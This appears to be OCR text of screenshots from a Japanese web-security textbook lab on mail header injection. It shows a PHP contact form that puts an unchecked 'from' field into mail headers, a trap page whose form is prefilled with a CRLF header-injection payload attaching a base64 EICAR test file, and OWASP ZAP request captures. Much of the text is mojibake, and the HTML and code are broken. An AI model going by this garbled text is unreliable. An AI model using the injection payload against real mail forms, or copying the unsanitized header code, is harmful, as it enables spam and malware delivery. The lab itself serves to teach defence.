4. 48-900b: L \EOHE Tat — A (IHEB2 - ETDEIEA)
5.49-901:BLEDE T — ANV A BT 53 VINBTHEA I 7 AILEDIIS) _
phpinfo
h—AICES

<html>

hitpy//example jp/49/ b+ = ]

(@) view-source:http://example,jp/49/ e o n @ A

<head><title>4.9 X —)LiEISOERE T it le></head>

<body>

4.9 H—)LiR(S0HRE

<ol>

<li><a href="48-001.htm| ">43-001:fEL v&F 8 73 — LUFEFRIa</ 1 i>
<liz<a href="http://t rap.examp|e.con/49/49-900. htm| “>49-900: L vEdotd 7 — L (BEER I</ax</ 1 i>

<li><a hre
<li><a href=
<li><a href=
<lol>

tte: /'t rap. exams

. com'd

3/

9-900a.htm| ">49-900a: B ST 7 4 — L(TEE  SRoEIDVar < 1i>

tp: [
tte://t rap. exane

i

-900k, htm] ">49-900b: L vEFE 7 4 — L(EEED : FRDE I A i

e.com/4

9/

9-00T. hin | >49-001: B VEE T — L (A =Ly &« A UV 2 70 3 VIETTAT 7 7 AL E DT )V >

<a href="phpinfo.phe " pheinfod/as<br>
<a href="/">H— LIRSS

</body>
</htm >

[¥—/3: 49/49-002.php ]

[ rvar/vww/html/49/49-002.php - wasbook@example.jp - TF45 - WinSCP

El
k2php

$from

@9

filter_input(INPUT_POST, “from');

$body = filter_input(INPUT_POST, 'body');

mb_language( ' Japanese');

Bé 8| xR

2@

mb_send_mail("wasbookfexample.jp”, "ElL EhtA B £ LI,

LUTofunshtia A LtoTHEEEVLET \n\n" . $body,

"From: "

>
<body>

. $from);

EELEL:
<¥php /fecho from ?>

</body>
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W SEbuY3Y - 20181229-114638 - OWASP ZAP 2.7.0 - m} X
Tl BE R MU~ Lk Y-l AR5 AT

|[EEE—r HlCEER S E 008 002 &V s+«PPoxERE o
@1k 4 [,;a-rwx@—r-]’-:» uanr-]-ﬂ = LA,

@UUEE FoxtEz— v E0) FoxurEa— v B0

f

GET http://trap.example.com/49/43-801.htm| HTTR/1.1 HTTP/1.1 502 Bad Gateway L;
v @urh Host: trap.example.com Content-Type: text/plain; charset=UTF-8
¥ [ http://trap.example.cor |User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:63.0) Gecke/20100101 Firefox/63.0 Content-Length: 1967
. SR Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
- ‘Accept-Language: ja,en-US;q=0.7,en;q=0.3 ZAP Error [java.net.SocketException]: Connection reset
¥ [ P http://example.jp Accept-Enceding: gzip, deflate
Referer: http://example.jp/49/ Stack Trace:
DNT: 1 java.net.SocketException: Connection reset
1] P POST:49-002.phpf Connection: keep-alive at java.net.SocketInputStream.read(Unknown Source)
| ] ® GET:mail Upgrade-Insecure-Requests: 1 at java.net.SocketInputStream.read(Unknown Seurce)

at java.io.BufferedInputStream.fill(Unknown Source)

» | mail
at java.io.BufferedInputStream.read(Unknown Source)
L] ® GET:mail(_,_action, at org.apache.commons.httpclient. HttpParser.readRawl ine{HttpParser. java: 78)
| ] ® GET:mail(_,_action,_ at org.apache.commons.httpclient.HttpParser.readLine(HttpParser.java: 106)

at org.apache.commons.httpclient.HttpConnection.readLine(HttpConnection.java: 1152)
at org.apache.commons.httpclient.MultiThreadedHttpCennectienManagersHttpConnectionAdapter.readLine(
¥ GET:mail(_,_action, | MultiThreadedHttpConnectionManager.java:1413)
at org.apache.commons. httpclient.HttpMethodBase. readStatusLine(HttpMethodBase.java:2107)
N ) at org.zaproxy.zap.ZapGetMethod.readResponse(ZapGetMethod. java: 88)
GET:mail{_action,_em: v AN
— at org.apache.commons.httpelient. Http execute{HttpMett java:1155)
|_] ® POST:mail(_action,_ at org.apache.commons. httpelient. HttpMethodDirector.executeWithRetry(HttpMethodDirector.java:460)
at org.apache.commons. httpelient.HttpMethodDirector.executeMethod(HttpMethodDirector. java: 199)
at org.apache.commons.httpclient.HttpClient.executeMethod(HttpClient.java: 397)
at org.parosproxy. pares.network. HttpSender. executeMethod(HttpSender.java: 333)
at org.paresproxy. pares.network. HttpSender.runMethed(HttpSender.java: 564)
at org.parosproxy. pares.netwerk.HttpSender.send(HttpSender.java: 523)
at org.paresproxy. pares.netwerk. HttpSender.sendAuthenticated(HttpSender.java: 501)
at org.paresproxy. pares.netwerk. HttpSender.sendAuthenticated(HttpSender.java: 490)
at org.paresproxy.pares.network.HttpSender.sendAndReceive(HttpSender.java:405)
at org.parosproxy.paros.network. HttpSender.sendAndReceive(HttpSender.java:362)
at org.parosproxy.pares.core.proxy.Proxy Thread.processHttp(ProxyThread.java: 509)
at org.paresproxy. paros.core.proxy.Proxy Thread.run(Proxy Thread java:317) F
v

| ] # GET:mail(_,_action, |

Y GET:mail(_action,_cz

at java.lang. Thread.run(Unknown Source)
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[T59¥]

« G @ @ trap.example.com/49/49-901htm a8 - g m o e =

ZAP Error [iava.net.SocketException]: Cornection reset

Stack Trace:
java.net.SocketExcept ion: Connection reset
at java.ret.Socket IrputSt ream. read(Unknown Source)
at java.net.Socket Irput5tream. read(Unknown Source)
at java. io.BufferedlrputStrean. fill (Unknown Source)
at java.io.BufferedInputSt ream. read(Unknown Source)
at org.apache. comnons.htteclient HttoParser. readRanl ine(HtteParser. java: 78)
at org.apache. commors. htteclient HttpParser. readl ine(HttrParser. java: 106)
at org.apache. commons. httpclient .HttpCornect ion. readline (Ht teConnect ion. java:1152)
at org.apache. comnonz. httpclient . MultiThreadedHt teConnect iorManage rdHt teConnect ionddapter. readline (Mult i ThreadedHt teCornect i orManazer. java: 1413)
at org.apache. commons. httpclient .HttpMethodBase. readStatusLine(HttpMethodBase. java:2107)
at org.zaeroxy.zap. ZacGetMethod. readResponse(ZapGetMethod. java: 88)
at org.apache. commors. httecl ient .Ht toMethodBase. execute(Ht teMethodBase. iava: 1155)
at org.apache. commons. httpc| ient . Ht tpMethodDi rector. executelithRet rv (HttpMethodDi rector. java: 460)
at org.apache. commons. httpclient  HttoMethodDi rector. executeMethod(Ht teMethodDi rector. java: 199)
at org.apache. commorz.httpcl ient .Httpl| ient . executeMethod(HttpClient . java:397)
at org.parosproxy.paros. network.HtteSender. executeMet hod (Ht teSender. java: 333)
at org.parosproxy.pares. network.HtteSender. runethod(HttpSender. java:564)
at org.parosproxy. paros. network. HttpSender. send(HttpSender. java:523)
at org.parosproxy. paros. network. HttpSender. sendbuthent i cated(HttpSender. java:501)
at org.parosproxy.paros. network.HttpSender. sendbuthent i cated(HttpSender. java: 490)
at org.parosproxy.paros. network.HttpSender. sendindRece i ve(HttpSender. iava: 405)
at org.parosproxy.paros. network.HttpSender. sendindReceive(HttpSender. iava:362)
at org.parosproxy.paros. care.proxy. ProxyThread. processHt tp (ProxyThread. iava:509)
at org.parosproxy.paros. core. proxy. ProxyThread. run(ProsyThread. iava: 317)
at java. lang. Thread. run(Unknown Source)
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v @Urh
» [ P http://trap.example.co

» 49
| P GET:49

» | mail

¥ [ http:/fexample.jp

|| GET:mail(_action,_em:
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GET http://trap.example.com/49/49-801.html HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8

Accept-Language: ja,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/49/

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Host: trap.example.com

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Sat, 29 Dec 2018 14:57:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1007

Connection: keep-alive

Last-Modified: Mon, 14 May 2018 13:08:18 GMT
ETag: "3ef-36c2a2deb4859-gzip”
Accept-Ranges: bytes

Vary: Accept-Encoding

X-UA-Compatible: IE=edge

<body=>
FLEHETA —L<br>

<form action="http:/fexample.jp/49/49-002.php" method="POST">
A—Jl: <textarea name="from" rows="4" cols="30">
trap@trap.example.com

Content-Type: multipart/mixed; boundary="
Content-Transfer-Encoding: 7bit

----_4D00657E00000000F1D5_MULTIPART_MIXED_"

-------- -_4D00657E00000000F1D5_MULTIPART_MIXED_

Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit

EEVEEZRSErsR TR

———————— _4D00657E00000000F1D5_MULTIPART_MIXED_

Content-Type: application/octet-stream;
name="eicar.com”

Content-Disposition: attachment;
filename="eicar.com"

Content-Transfer-Enceding: base64

WDVPIVAIQEFQWzRCUFpYNTQoUF4pNONDKTd9IEVIQUFSLYNUQUSEQVIELUFOVEIWSYIVUYy1URVNU
LUZITEUhJEQrSCo=

---_4D00657E00000000F1D5_MULTIPART _MIXED_-—

</textarea=<br=

337 < textarea name="body" rows="4" cols="30">

«/textarea><br>

<input type="submit" value=
=/form=

ZOFEF IEERF] BOVwHSLTESN.
</body=
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200 OK
http://example.jp/49/49-002.php
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[TS599>4—/%: JITR: 49/49-002php — LARUR ]
i} EBtyya - 20181229-114638 - OWASP ZAP 2.7.0 — [m] >
IrAL BE Fw MU~ Lafi— b YL AT AT
EEF pioEwi®% J260 000 008 de vV 2«PProxEnm 96
@b 4 [# otus 25—t [ uszan ] 4 | = LA
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POST http://example.jp/49/49-002.php HTTP/1.1 HTTP/1.1 200 OK
v @9k User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Server: nginx/1.10.3
» [P http://trap.example.cor |Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.8 Date: Sat, 29 Dec 2018 14:59:12 GMT
. Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
v [ f httpi/fexample jp Accept-Encoding: gzip, deflate Connection: keep-alive
» 49 Referer: http://trap.example.com/49/49-901.html X-Powered-By: PHP/5.3.3
[ m GET:42 Content-Type: application/x-www-form-urlencoded X-UA-Compatible: IE=edge
R Content-Length: 1062
> & mal DNT: 1 <body=>
| ] GET:mail(_action,_emz |Connection: keep-alive BEEULELE
Upgrade-Insecure-Requests: 1 </body>
Host: example.jp
from=Erap%40trap.example.comPe0D%0AContent-Type%3A+multipart%2Fmixed%3B+boundary%3D%
22--m-, _4D00657E00000000F1D5_MULTIPART_MIXED_%22%0D%0ACentent-Transfer-Encoding%3A+
7bit%e0D%0A%00%0A—-----_4D00657E00000000F1D5_MULTIPART_MIXED_%0D%0AContent-Type%3A,
+text%2Fplain%3B+charset%3D%22UTF-8%22%0D%0AContent-Transfer-Encoding %3A+ 8bit%0D%0A
Se0D%0A%ES% 9D %A2%ET %99%BD%E3%81%84%E0%8B%95%E7 % 94%BB%E3%82%92%ES%A6%EB
96E3%681%A4%E3%81%91%E3%81 1%8B%E3%8! 1%,
AD%2190D%0A%0D%0A-------—-_4D00657E00000000F1D5_MULTIPART_MIXED_860DS60ACoNntent-Type
%3A+application%2Foctet-stream%3B%0D%0A + name%3D%22eicar.com % 22 #%00%0AContent -
Di: it t B60D%0A+filename®3D%22eicar.com%22%0D%0AContent-Transfer-
Enceding%3A+base64%0D%0A%0D%
OAWDVPIVA\QEFQWZRCUFpYNTQOUF4pNONDKTd9]EVJQOFSLVNUQUSEQVJELUFOVE\WSVJVUV]URVNU%‘
0D%0ALUZITEUhIEQrSCo%3D8k0D%0A-- _4D00657E00000000F1D5_MULTIPART_MIXED_--%0D%0A
&body="%E3%82%A6%E3%82%A3%E3%83%AB%E3%82%BI%EI %81 %8C%EE% BT %BB%E4%BB%98%
E3%81%895%E3%82%8C%E3%81%A6%E3%81%97%E3%81%BE%E3%81%84%E3%81 %BE%E3%81%97
%RE3%81%5F%E3%80%82
< i ]

jgﬁETG\&i[ﬁpf—h[ijbjw[-ﬂ

@@ VIuaAz § THRM-~

‘Id | USIABR | AYwE URL AF—HA3—F AF—£A3— 8 STVEPUYTSAL | LATVART 1A | REPS— |/ |57 \E'g
251 18/12/29 23:57:22 http://trap.example.com/49/48-801.html| 200 OK 2Zms 1,007 bytes o Medium Form a
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&« C @ @ trap.example.com/49/49-901.htm ¢ o @ view-source:http://trap.example.com/49/49-901.html
BWEDEITA —A <body>
t rap@t rap. exane|e. con 2 ML a7 T Lbr
o X o <form act ion="http:/fexample. ipn/49/49-002. php” method="POST™
Content-Type: multicart/mixed; depic iron” Ty PN
e — Tratiransams. oo
rap . .
_, |-/DO0BS7EN0000000F DS _MLTIPART Contert-Type: multipart/mixed: boundary="------_4D00B57EQO000000FTCE_WULTIPART MIXED_"
=)L _MIXED g _ i e T
- ortent-Transfer-Encoding: 7hit
DAL ARG ENTLEOEL

e _4D006STENONA0000F 106 _MULT IPART _MIXED_
Cortent-Tyee: text/elain; charset="UTF-§”
Content-Transfer-Encoding: 8bit

A
EE EELEEER DI SR TR
FoFEFE EERI] #oUVSILTLEEN. | T _ADDOBSTEQOOO0D00F 106_MULT IPART_MIXED_

Cortent-Type: application/octet-st ream;
name="eicar. com”

Content-Disposition: attachment;
filename="gicar.com”

Content-Transfer-Encoding: basefd

WDYP VA QEFQNZRUFeYNTOoUF 4pNONDKT dSJEVIO0FSLYNUQUSEQYJEL UFOVE T HSYJYUW TURVIU

LUZJTEUnJE2rSTo=
******** _4D0065TENODA0000F 105 _MULT IPART _MIXED_--
</textarea><br>
#37:<textarea name="body” rows="4" cols="30">
/textarea<br>
<input type="sibnit” value="1%(2">
<form>
FTOEF RRERR L B2V LTSN,
</body>
| &« C @ (@ examplejp/49/4: c o (@) view-source:http://example.jp/49/49-002.php
EELFELE <body>
EELEL

</body>
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